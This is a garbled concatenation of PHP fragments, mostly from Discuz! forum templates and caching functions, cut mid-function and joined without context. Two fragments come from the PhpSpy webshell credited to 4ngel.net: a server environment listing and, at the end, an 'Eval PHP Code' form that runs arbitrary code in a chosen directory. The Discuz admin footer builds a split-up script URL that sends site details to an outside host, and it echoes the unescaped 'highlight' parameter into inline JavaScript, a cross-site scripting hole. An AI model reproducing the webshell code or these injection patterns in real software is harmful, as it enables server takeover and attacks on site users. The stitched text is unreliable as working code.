function viewthread_loadcache() { global $_G; $_G['forum']['livedays'] = ceil((TIMESTAMP - $_G['forum']['dateline']) / 86400); $_G['forum']['lastpostdays'] = ceil((TIMESTAMP - $_G['forum']['lastthreadpost']) / 86400); $threadcachemark = 100 - ($_G['forum']['displayorder'] * 15 + $_G['thread']['digest'] * 10 + min($_G['thread']['views'] / max($_G['forum']['livedays'], 10) * 2, 50) + max(-10, 15 - $_G['forum']['lastpostdays']) + min($_G['thread']['replies'] / $_G['setting']['postperpage'] * 1.5, 15)); if ($threadcachemark < $_G['forum']['threadcaches']) { $threadcache = getcacheinfo($_G['tid']); if (TIMESTAMP - $threadcache['filemtime'] > $_G['setting']['cachethreadlife']) { @unlink($threadcache['filename']); define('CACHE_FILE', $threadcache['filename']); } else { readfile($threadcache['filename']); viewthread_updateviews($_G['forum_thread']['threadtableid']); $_G['setting']['debug'] && debuginfo(); $_G['setting']['debug'] ? die('<script type="text/javascript">document.getElementById("debuginfo").innerHTML = " ' . ($_G['setting']['debug'] ? 'Updated at ' . gmdate("H:i:s", $threadcache['filemtime'] + 3600 * 8) . ', Processed in ' . $debuginfo['time'] . ' second(s), ' . $debuginfo['queries'] . ' Queries' . ($_G['gzipcompress'] ? ', Gzip enabled' : '') : '') . '";</script>') : die; } } }
?> </div><?php } ?> </div> <!--/mainarea--> <div id="bottom"></div> </div> <!--/main--> <?php } ?> <div id="footer" title="<?php echo debuginfo(); ?> "> <?php if ($_TPL['templates']) { ?> <div class="chostlp" title="切换风格"><img id="chostlp" src="<?php echo $_TPL['default_template']['icon']; ?> " onmouseover="showMenu(this.id)" alt="<?php echo $_TPL['default_template']['name']; ?> " /></div> <ul id="chostlp_menu" class="chostlp_drop" style="display: none"> <?php if (is_array($_TPL['templates'])) {
<? } } } ?></ul> <? } if(is_array($subnavs)) { foreach($subnavs as $subnav) { ?><?=$subnav?><? } } if($prompts['newbietask'] && $newbietasks) { include template('task_newbie_js', '0', ''); } if($admode && !empty($advlist)) { ?> <div class="ad_footerbanner" id="ad_footerbanner1"><?=$advlist['footerbanner1']?></div><? if($advlist['footerbanner2']) { ?><div class="ad_footerbanner" id="ad_footerbanner2"><?=$advlist['footerbanner2']?></div><? } if($advlist['footerbanner3']) { ?><div class="ad_footerbanner" id="ad_footerbanner3"><?=$advlist['footerbanner3']?></div><? } } else { ?> <div id="ad_footerbanner1"></div><div id="ad_footerbanner2"></div><div id="ad_footerbanner3"></div> <? } ?> <?=$pluginhooks['global_footer']?> <div id="footer"> <div class="wrap s_clear"> <div id="footlink"> <p> <strong><a href="<?=$siteurl?>" target="_blank"><?=$sitename?></a></strong> <? if($icp) { ?>( <a href="http://www.miibeian.gov.cn/" target="_blank"><?=$icp?></a>)<? } ?> <span class="pipe">|</span><a href="mailto:<?=$adminemail?>">联系我们</a> <? if($allowviewstats) { ?><span class="pipe">|</span><a href="stats.php">论坛统计</a><? } if($archiverstatus) { ?><span class="pipe">|</span><a href="archiver/" target="_blank">Archiver</a><? } if($wapstatus) { ?><span class="pipe">|</span><a href="wap/" target="_blank">WAP</a><? } if($statcode) { ?><span class="pipe">| <?=$statcode?></span><? } ?> <?=$pluginhooks['global_footerlink']?> </p> <p class="smalltext"> GMT<?=$timenow['offset']?>, <?=$timenow['time']?> <? if(debuginfo()) { ?>, <span id="debuginfo">Processed in <?=$debuginfo['time']?> second(s), <?=$debuginfo['queries']?> queries<? if($gzipcompress) { ?>, Gzip enabled<? } ?></span><? } ?>. </p> </div> <div id="rightinfo"> <p>Powered by <strong><a href="http://www.discuz.net" target="_blank">Discuz!</a></strong> <em><?=$version?></em><? if(!empty($boardlicensed)) { ?> <a href="http://license.comsenz.com/?pid=1&host=<?=$_SERVER['HTTP_HOST']?>" target="_blank">Licensed</a><? } ?></p> <p class="smalltext">© 2001-2009 <a href="http://www.comsenz.com" target="_blank">Comsenz Inc.</a></p> </div><? updatesession(); ?></div> </div> <? if($_DCACHE['settings']['frameon'] && in_array(CURSCRIPT, array('index', 'forumdisplay', 'viewthread')) && $_DCOOKIE['frameon'] == 'yes') { ?> <script src="<?=$jspath?>iframe.js?<?=VERHASH?>" type="text/javascript"></script> <? } output(); ?></body> </html>
$Id: index_classics.inc.php 21260 2009-11-23 08:33:35Z monkey $ */ if (!defined('IN_DISCUZ')) { exit('Access Denied'); } require_once DISCUZ_ROOT . './include/forum.func.php'; $discuz_action = 1; if ($cacheindexlife && !$discuz_uid && $showoldetails != 'yes' && (!$_DCACHE['settings']['frameon'] || $_DCACHE['settings']['frameon'] && $_GET['frameon'] != 'yes') && empty($gid)) { $indexcache = getcacheinfo(0); if ($timestamp - $indexcache['filemtime'] > $cacheindexlife) { @unlink($indexcache['filename']); define('CACHE_FILE', $indexcache['filename']); $styleid = $_DCACHE['settings']['styleid']; } elseif ($indexcache['filename']) { @readfile($indexcache['filename']); $debug && debuginfo(); $debug ? die('<script type="text/javascript">document.getElementById("debuginfo").innerHTML = " ' . ($debug ? 'Updated at ' . gmdate("H:i:s", $indexcache['filemtime'] + 3600 * 8) . ', Processed in ' . $debuginfo['time'] . ' second(s), ' . $debuginfo['queries'] . ' Queries' . ($gzipcompress ? ', Gzip enabled' : '') : '') . '";</script>') : die; } } if (isset($showoldetails)) { switch ($showoldetails) { case 'no': dsetcookie('onlineindex', 0, 86400 * 365); break; case 'yes': dsetcookie('onlineindex', 1, 86400 * 365); break; } } else { $showoldetails = false; }
for($i=10;$i<=23;$i++) { p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>'); } } p('</ul>'); } }//end phpenv else { m('Undefined Action'); } ?> </td></tr></table> <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;"> <span style="float:right;"><?php debuginfo();ob_end_flush();?></span> Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved. </div> </body> </html> <?php /*====================================================== 函数库 ======================================================*/ function m($msg) { echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">'; echo $msg; echo '</div>';
/** * 脚本退出时候执行,仅供系统调用,不提供对外调用 * <code> * shutdown(); * </code> * @return void */ function shutdown() { debuginfo(); }
<div class="border_top_1" > <div id="flk" class="y"> <p> <?php if($_G['setting']['site_qq']) { ?><a href="http://wpa.qq.com/msgrd?V=3&Uin=<?php echo $_G['setting']['site_qq'];?>&Site=<?php echo $_G['setting']['bbname'];?>&Menu=yes&from=discuz" target="_blank" title="QQ"><img src="<?php echo IMGDIR;?>/site_qq.jpg" alt="QQ" /></a><span class="pipe">|</span><?php } if(is_array($_G['setting']['footernavs'])) foreach($_G['setting']['footernavs'] as $nav) { if($nav['available'] && ($nav['type'] && (!$nav['level'] || ($nav['level'] == 1 && $_G['uid']) || ($nav['level'] == 2 && $_G['adminid'] > 0) || ($nav['level'] == 3 && $_G['adminid'] == 1)) || !$nav['type'] && ($nav['id'] == 'stat' && $_G['group']['allowstatdata'] || $nav['id'] == 'report' && $_G['uid'] || $nav['id'] == 'archiver' || $nav['id'] == 'mobile' || $nav['id'] == 'darkroom'))) { ?><?php echo $nav['code'];?><span class="pipe">|</span><?php } } ?> <strong><a href="<?php echo $_G['setting']['siteurl'];?>" target="_blank"><?php echo $_G['setting']['sitename'];?></a></strong> <?php if($_G['setting']['icp']) { ?>( <a href="http://www.miitbeian.gov.cn/" target="_blank"><?php echo $_G['setting']['icp'];?></a> )<?php } ?> <?php if(!empty($_G['setting']['pluginhooks']['global_footerlink'])) echo $_G['setting']['pluginhooks']['global_footerlink'];?> <?php if($_G['setting']['statcode']) { ?><?php echo $_G['setting']['statcode'];?><?php } ?> </p> <p class="xs0"> GMT<?php echo $_G['timenow']['offset'];?>, <?php echo $_G['timenow']['time'];?> <span id="debuginfo"> <?php if(debuginfo()) { ?>, Processed in <?php echo $_G['debuginfo']['time'];?> second(s), <?php echo $_G['debuginfo']['queries'];?> queries <?php if($_G['gzipcompress']) { ?>, Gzip On<?php } if(C::memory()->type) { ?>, <?php echo ucwords(C::memory()->type); ?> On<?php } ?>. <?php } ?> </span> </p> </div> <div id="frt"> <p>技术支持 <strong>北京伟泽四方科技有限公司</strong> </p> <p class="xs0">© 2015 <a href="http://www.bjwlkjc.com" target="_blank">北京未来之家网.</a></p> <p>Powered by <strong><a href="http://www.discuz.net" target="_blank">Discuz!</a></strong> <em><?php echo $_G['setting']['version'];?></em><?php if(!empty($_G['setting']['boardlicensed'])) { ?> <a href="http://license.comsenz.com/?pid=1&host=<?php echo $_SERVER['HTTP_HOST'];?>" target="_blank">Licensed</a><?php } ?></p> <p class="xs0"><a href="http://www.wekei.cn" target="_blank"></a></p> </div><?php updatesession();?><?php if($_G['uid'] && $_G['group']['allowinvisible']) { ?> <script type="text/javascript"> var invisiblestatus = '<?php if($_G['session']['invisible']) { ?>隐身<?php } else { ?>在线<?php } ?>'; var loginstatusobj = $('loginstatusid');
function get_index_page_guest_cache() { global $_G; $indexcache = getcacheinfo(0); if (TIMESTAMP - $indexcache['filemtime'] > $_G['setting']['cacheindexlife']) { @unlink($indexcache['filename']); define('CACHE_FILE', $indexcache['filename']); $_G['setting']['styleid'] = $_G['cache']['settings']['styleid']; $styleid = $_G['setting']['styleid']; } elseif ($indexcache['filename']) { @readfile($indexcache['filename']); $_G['setting']['debug'] && debuginfo(); $_G['setting']['debug'] ? die('<script type="text/javascript">document.getElementById("debuginfo").innerHTML = " ' . ($_G['setting']['debug'] ? 'Updated at ' . gmdate("H:i:s", $indexcache['filemtime'] + 3600 * 8) . ', Processed in ' . $debuginfo['time'] . ' second(s), ' . $debuginfo['queries'] . ' Queries' . ($_G['gzipcompress'] ? ', Gzip enabled' : '') : '') . '";</script>') : die; } }
function viewthread_loadcache() { global $tid, $forum, $timestamp, $cachethreadlife, $_DCACHE, $gzipcompress, $debug, $styleid; $forum['livedays'] = ceil(($timestamp - $forum['dateline']) / 86400); $forum['lastpostdays'] = ceil(($timestamp - $forum['lastthreadpost']) / 86400); $threadcachemark = 100 - ($forum['displayorder'] * 15 + $forum['digest'] * 10 + min($forum['views'] / max($forum['livedays'], 10) * 2, 50) + max(-10, 15 - $forum['lastpostdays']) + min($forum['replies'] / $_DCACHE['settings']['postperpage'] * 1.5, 15)); if ($threadcachemark < $forum['threadcaches']) { $threadcache = getcacheinfo($tid); if ($timestamp - $threadcache['filemtime'] > $cachethreadlife) { @unlink($threadcache['filename']); define('CACHE_FILE', $threadcache['filename']); $styleid = $_DCACHE['settings']['styleid']; @(include DISCUZ_ROOT . './forumdata/cache/style_' . $styleid . '.php'); } else { readfile($threadcache['filename']); viewthread_updateviews(); $debug && debuginfo(); $debug ? die('<script type="text/javascript">document.getElementById("debuginfo").innerHTML = " ' . ($debug ? 'Updated at ' . gmdate("H:i:s", $threadcache['filemtime'] + 3600 * 8) . ', Processed in ' . $debuginfo['time'] . ' second(s), ' . $debuginfo['queries'] . ' Queries' . ($gzipcompress ? ', Gzip enabled' : '') : '') . '";</script>') : die; } } }
function shutdown_function($req) { $e = error_get_last(); //remove some error like E_WARNING E_NOTICE and so on if (!is_null($e)) { //错误类型如果为重要的才报出来 if (in_array($e['type'], array(1, 4, 16, 32, 64, 128, 256, 4096))) { if (APP_DEBUG) { die('info: ' . $e['message'] . ' , in file:' . $e['file'] . ' , line:' . $e['line']); } else { header("Content-type: text/html; charset=utf-8"); die('服务器异常,请稍后访问,或者通知服务器管理员,邮箱:' . ADMIN_EMAIL . ' 谢谢合作!'); } } } //here to rename compile file $key = getFileKey(); $compileed_file = RUNTIME_CACHE . $GLOBALS['_Module'] . DS . $key . '_pre.php'; $compileed_file2 = RUNTIME_CACHE . $GLOBALS['_Module'] . DS . $key . '_finish.php'; if (file_exists($compileed_file)) { file_put_contents($compileed_file, "<?php\n" . file_get_contents($compileed_file)); rename($compileed_file, $compileed_file2); } $GLOBALS['_endTime'] = microtime(TRUE); if (MEMORY_LIMIT_ON) { $GLOBALS['_endUseMems'] = memory_get_usage(); } if (APP_DEBUG) { $tem_str = bl_debug($GLOBALS); if (empty($tem_str)) { debuginfo(); } else { echo $tem_str; } unset($tem_str); } }
<?php } ?>Copyright <br /> © 2001-2013 <a href="http://www.comsenz.com" target="_blank">Comsenz Inc.</a></p> </div> <div id="frt"> <p> <?php if($_G['setting']['site_qq']) { ?><a href="http://wpa.qq.com/msgrd?V=3&Uin=<?php echo $_G['setting']['site_qq'];?>&Site=<?php echo $_G['setting']['bbname'];?>&Menu=yes&from=discuz" target="_blank" title="QQ"><img src="<?php echo IMGDIR;?>/site_qq.jpg" alt="QQ" /></a><span class="pipe">|</span><?php } if(is_array($_G['setting']['footernavs'])) foreach($_G['setting']['footernavs'] as $nav) { if($nav['available'] && ($nav['type'] && (!$nav['level'] || ($nav['level'] == 1 && $_G['uid']) || ($nav['level'] == 2 && $_G['adminid'] > 0) || ($nav['level'] == 3 && $_G['adminid'] == 1)) || !$nav['type'] && ($nav['id'] == 'stat' && $_G['group']['allowstatdata'] || $nav['id'] == 'report' && $_G['uid'] || $nav['id'] == 'archiver' || $nav['id'] == 'mobile' || $nav['id'] == 'darkroom'))) { ?><?php echo $nav['code'];?><span class="pipe">|</span><?php } } ?> <a href="<?php echo $_G['setting']['siteurl'];?>" target="_blank"><?php echo $_G['setting']['sitename'];?></a> <?php if($_G['setting']['icp']) { ?>( <a href="http://www.miitbeian.gov.cn/" target="_blank"><?php echo $_G['setting']['icp'];?></a> )<?php } ?> <?php if(!empty($_G['setting']['pluginhooks']['global_footerlink'])) echo $_G['setting']['pluginhooks']['global_footerlink'];?> <?php if($_G['setting']['statcode']) { ?><?php echo $_G['setting']['statcode'];?><?php } ?> </p><p>GMT<?php echo $_G['timenow']['offset'];?>, <?php echo $_G['timenow']['time'];?> <?php if(debuginfo()) { ?>, Processed in <?php echo $_G['debuginfo']['time'];?> second(s), <?php echo $_G['debuginfo']['queries'];?> queries<?php if($_G['gzipcompress']) { ?>, Gzip On<?php } if(C::memory()->type) { ?>, <?php echo ucwords(C::memory()->type); ?> On<?php } ?>.<?php } ?></p> </div><?php updatesession();?><?php if($_G['uid'] && $_G['group']['allowinvisible']) { ?> <script type="text/javascript"> var invisiblestatus = '<?php if($_G['session']['invisible']) { ?>隐身<?php } else { ?>在线<?php } ?>'; var loginstatusobj = $('loginstatusid'); if(loginstatusobj != undefined && loginstatusobj != null) loginstatusobj.innerHTML = invisiblestatus; </script> <?php } ?> </div> </div> </div> <!--bottombg结束--> <?php } ?> <?php if(!$_G['setting']['bbclosed']) { ?> <?php if($_G['uid'] && !isset($_G['cookie']['checkpm'])) { ?>
function cpfooter() { global $version, $adminid, $db, $tablepre, $action, $bbname, $charset, $timestamp, $isfounder, $insenz; global $_COOKIE, $_SESSION, $_DCOOKIE, $_DCACHE, $_DSESSION, $_DCACHE, $_DPLUGIN, $sqldebug, $debuginfo; $infmessage = ''; if (debuginfo()) { //$infmessage = '<br /><br /><div class="footer"><hr size="0" noshade color="'.BORDERCOLOR.'" width="80%"><span class="smalltxt"><br />Processed in '.$debuginfo['time'].' second(s), '.$debuginfo[queries].' queries</span></div>'; } ?> <?php echo $infmessage; ?> <?php echo $sqldebug; ?> </div> </body> <?php if ($_GET['highlight']) { echo <<<EOT <script type="text/JavaScript"> \tfunction parsetag(tag) { \t\tvar str = document.body.innerHTML.replace(/(^|>)([^<]+)(?=<|\$)/ig, function(\$1, \$2, \$3) { \t\t\tif(tag && \$3.indexOf(tag) != -1) { \t\t\t\t\$3 = \$3.replace(tag, '<h_>'); \t\t\t} \t\t\treturn \$2 + \$3; \t \t}); \t\tdocument.body.innerHTML = str.replace(/<h_>/ig, function(\$1, \$2) { \t\t\treturn '<font color="#c60a00">' + tag + '</font>'; \t \t}); \t} EOT; $kws = explode(' ', $_GET['highlight']); foreach ($kws as $kw) { echo 'parsetag(\'' . $kw . '\');'; } echo '</script>'; } ?> </html> <?php if ($isfounder && $action == 'home' && $insenz['authkey'] && $insenz['status']) { $insenz['url'] = empty($insenz['url']) ? 'api.insenz.com' : $insenz['url']; ?> <script src="http://<?php echo $insenz[url]; ?> /news.php?id=<?php echo $insenz[siteid]; ?> &t=<?php echo $timestamp; ?> &k=<?php echo md5($insenz[authkey] . $insenz[siteid] . $timestamp . 'Discuz!'); ?> &insenz_version=<?php echo INSENZ_VERSION; ?> &discuz_version=<?php echo DISCUZ_VERSION . ' - ' . DISCUZ_RELEASE; ?> &random=<?php echo random(4); ?> " type="text/javascript" charset="UTF-8"></script> <script type="text/JavaScript"> if(typeof error_msg != 'undefined') { if(error_msg != '') { alert(error_msg); } if(title.length || message != '') { $('insenznews').innerHTML = '<table class="tb tb2 nobdb fixpadding">' + '<tr><th class="partition"><?php echo lang('insenz_note'); ?> </th></tr><tr><td>' + (message ? message : '') + (title.length ? '<br /><b><?php echo lang('insenz_note_new_campaign'); ?> </b><a href="<?php echo $BASESCRIPT; ?> ?action=insenz&c_status=2"><font color="red"><u><?php echo lang('insenz_note_link_to_go'); ?> </u></font></a>' : '') + '</td></tr></table>'; } } </script> <?php } if ($adminid == 1 && $action == 'home') { echo '<sc' . 'ript language="Jav' . 'aScript" src="ht' . 'tp:/' . '/cus' . 'tome' . 'r.disc' . 'uz.n' . 'et/n' . 'ews' . '.p' . 'hp?' . bbsinformation() . '"></s' . 'cri' . 'pt>'; //echo '<sc'.'ript language="Jav'.'aScript" src="http://localhost/com/n'.'ews'.'.p'.'hp?'.bbsinformation().'"></script>'; } updatesession(); }
function showErr($type, $msg) { $phpmsg = debuginfo(); ob_end_clean(); $host = $_SERVER['HTTP_HOST']; echo <<<EOT \t\t <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>{$host} - {$type} 系统错误</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <style type="text/css"> \tbody { background-color: white; color: black; } \t#container { width: 650px; } \t#message { width: 650px; color: black; background-color: #FFFFCC; } \t#bodytitle { font: 13pt/15pt verdana, arial, sans-serif; height: 35px; vertical-align: top; } \t.bodytext { font: 10pt/11pt verdana, arial, sans-serif; } \t.help { font: 12px verdana, arial, sans-serif; color: red;} \t.red {color: red;} \ta:link { font: 10pt/11pt verdana, arial, sans-serif; color: red; } \ta:visited { font: 10pt/11pt verdana, arial, sans-serif; color: #4e4e4e; } </style> </head> <body> <table cellpadding="1" cellspacing="5" id="container"> <tr> \t<td id="bodytitle" width="100%">{$type} Error </td> </tr><tr> \t<td class="bodytext">Your request has encountered a problem. </td> </tr><tr><td><hr size="1"/></td></tr> <tr><td class="bodytext">Error messages: </td></tr> <tr> \t<td class="bodytext" id="message"> \t\t<ul> {$msg}</ul> \t</td> </tr><tr><td class="bodytext"> </td></tr> <tr><td class="bodytext">Program messages: </td></tr> <tr> \t<td class="bodytext"> \t\t<ul> {$phpmsg} </ul> \t</td> </tr><tr> \t<td class="help"><br /><br /><a href="http://{$host}">{$host}</a> 系统出现错误, 由此给您带来的访问不便我们深感歉意</td> </tr> </table> </body> </html> EOT; exit; }
if ($statcode) { ?> <span class="pipe">| <?php echo $statcode; ?> </span><?php } ?> </p> <p class="smalltext"> GMT<?php echo $timenow['offset']; ?> , <?php echo $timenow['time']; if (debuginfo()) { ?> , <span id="debuginfo">Processed in <?php echo $debuginfo['time']; ?> second(s), <?php echo $debuginfo['queries']; ?> queries<?php if ($gzipcompress) { ?> , Gzip enabled<?php } ?> </span><?php }
function shutdown_function($req) { $e = error_get_last(); //remove some error like E_WARNING E_NOTICE and so on if (!is_null($e)) { if (APP_DEBUG) { die('info: ' . $e['message'] . ' , in file:' . $e['file'] . ' , line:' . $e['line']); } else { if (in_array($e['type'], array(1, 4, 16, 32, 64, 128, 256, 4096))) { header("Content-type: text/html; charset=utf-8"); die('服务器异常,请稍后访问,或者通知服务器管理员,邮箱:' . ADMIN_EMAIL . ' 谢谢合作!'); } } } $GLOBALS['_endTime'] = microtime(TRUE); if (MEMORY_LIMIT_ON) { $GLOBALS['_endUseMems'] = memory_get_usage(); } if (APP_DEBUG) { debuginfo(); } }
<input class="input_search" type="submit" value="搜索" name="searchbtn"/> </p> </form> </div> <div class="copyright"> <p id="copyright"> 版权信息 <a href="http://www.toboedu.com" target="_blank">通博教育</a> <em title="<?php echo S_RELEASE; ?> "><?php echo S_VER; ?> </em> © 2001-2009 </p> <p><?php debuginfo(); ?> </p> </div> </div><!--footer end--> <script language="javascript"> function changetype() { if($('searchtxt').value == '标题') { $('searchname').value = 'subject'; }else if($('searchtxt').value == '内容') { $('searchname').value = 'message'; }else if($('searchtxt').value == '作者') { $('searchname').value = 'author'; } } </script>
function shutDownFunction($phpcode, $action, $charsetpage, $charsetpagedb) { $error = error_get_last(); if ($error['type'] == 1) { formhead(array('title' => "Eval PHP Code")); makehide('action', 'laev'); $phpcode = $phpcode == "" ? "<" . "?PHP\n\n\n\n?" . ">" : $phpcode; makeinput(array('title' => 'Run From Directory:', 'name' => 'setrunfrom', 'value' => $setrunfrom != "" ? $setrunfrom : str_replace("\\", "/", dirname(__FILE__)) . "/")); maketext(array('title' => 'PHP Code', 'name' => 'phpcode', 'dataeditor' => 'php', 'value' => htmlspecialchars($phpcode))); p('<p><a href="http://w' . 'ww.4ng' . 'el.net/php' . 'spy/pl' . 'ugin/" target="_blank">Get plugins</a></p>'); p('<script src="http://ajaxorg.github.io/ace-builds/src-noconflict/ace.js"></script>'); printaceext(); if (!$mobile) { p('<script>var l=document.getElementsByTagName("textarea");for(i=0;i<l.length;++i){if(l[i].hasAttribute("data-editor")){var e=l[i];var t=e.getAttribute("data-editor");var n=document.createElement("div");n.style.cssText="width:"+e.clientWidth+"px;height:"+e.clientHeight+"px;";n.className=e.className;e.parentNode.insertBefore(n,e);e.style.cssText="display:none;";var r=ace.edit(n);r.renderer.setShowGutter(true);r.getSession().setValue(e.value);var i=ace.require("ace/ext/modelist");var s=i.getModeForPath("example.php").mode;r.getSession().setMode(s);r.setTheme("ace/theme/dreamweaver");e.form.onsubmit=function(t){window.onbeforeunload = null;e.value=r.getSession().getValue()}}}</script>'); } formfooter(); echo '</td></tr></table><div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;"><span style="float:left;">Charset:'; makeselect(array('name' => 'charsetpage', 'option' => $charsetpagedb, 'selected' => $charsetpage, 'onchange' => 'g(\'' . $action . '\',null,null,null,null,null,null,this.value);')); echo '</span><span style="display: block; text-align: right;">'; debuginfo(); ob_end_flush(); echo '</span></div></body></html>'; } }